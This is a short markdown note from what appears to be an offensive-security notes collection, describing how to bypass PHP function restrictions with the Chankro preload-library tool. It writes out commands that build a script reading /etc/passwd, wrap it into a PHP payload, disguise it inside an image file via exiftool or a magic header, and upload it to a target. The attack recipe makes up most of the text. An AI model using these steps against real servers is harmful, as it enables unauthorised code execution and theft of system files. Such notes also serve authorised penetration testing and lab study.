killchain-compendium/exploit/web/php/preload_lib.md

Preload Library

• Bug report
• Chankro repo

Usage

• Create lib, find path via <URL>/phpinfo.php

echo "#!/usr/bin/env bash" > rev.sh
echo "cat /etc/passwd > <basepath>/output.txt" >> rev.sh

python2 ./chankro.py --arch 64 --input rev.sh --output chan.php --path <basepath>

• Put into image file via exiftool or write magic header
• Upload